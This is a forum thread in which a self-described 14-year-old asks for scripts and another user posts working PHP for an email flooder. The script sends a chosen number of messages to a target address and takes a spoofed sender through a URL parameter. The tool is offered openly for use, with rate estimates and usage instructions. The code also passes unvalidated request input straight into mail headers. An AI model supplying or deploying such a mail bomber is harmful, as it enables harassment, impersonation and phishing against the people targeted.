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Hello! I am in desperate need of these 3 scripts. If you have any 1 of these 3 scripts, can I please get them? Thanks in advance. :)

[epicrider]

I have an e-mail spoof/flood source, how do you want it? Standard PHP UI or API?

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I am a major noob at PHP, so can you tell me how it works please? Like, how could I implement it into a site for people to use, like emkei.cz (or whatever the site is). Also, what is an API (a simple term for dummies). I hope you guys don't mind helping me out. I am also looking into doing a PHP course at Tafe. Should I?
Sorry for sounding like a complete idiot, I just want to start coding. Please note that I am only 14. :P

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I am still looking for these. Does anyone else have? Thanks.

[epicrider]

Here's a simple API mail spammer I built. Uses the default PHP mail library, so you should hit around 80 e-mails per second, all dependent on your web servers CPU.

Example Usage: file.php?&target=EMAIL&[email protected]&subject=SUBJECT&message=MESSAGE&amount=1

Code

<?php

    if(isset($_GET['target'])){
        $to = $_GET['target'];
    }
        if(isset($_GET['subject'])){
        $subject = $_GET['subject'];
    }
           if(isset($_GET['message'])){
        $message = $_GET['message'];
    }
           if(isset($_GET['amount'])){
        $amount = (int) $_GET['amount'];
    }
        if(isset($_GET['from'])){
        $from = $_GET['from'];    
    }

$from = "From: " . $from . "\r\n";    
if ((int)$amount) {
for($i=1;$i<=$amount;$i++)
{
  $temps_debut = microtime(true);
  mail($to, $subject, $message, $from);
  $temps_fin = microtime(true);
  echo '<font color=\"white\">Sent '.$i.' messages: '.round($temps_fin - $temps_debut, 4).' seconds.<br>';
}
} else {
}
?>

I will add spoofing if requested.
EDIT: Added spoofing, attatch the &from= variable to the URL.

[epicrider]

I recommend using the PHPMailer class > the default mail library, as it gives you much more control over what you're doing 🙂

mm, but this does the job. I only use the PHPMailer class when i'm using more complex systems.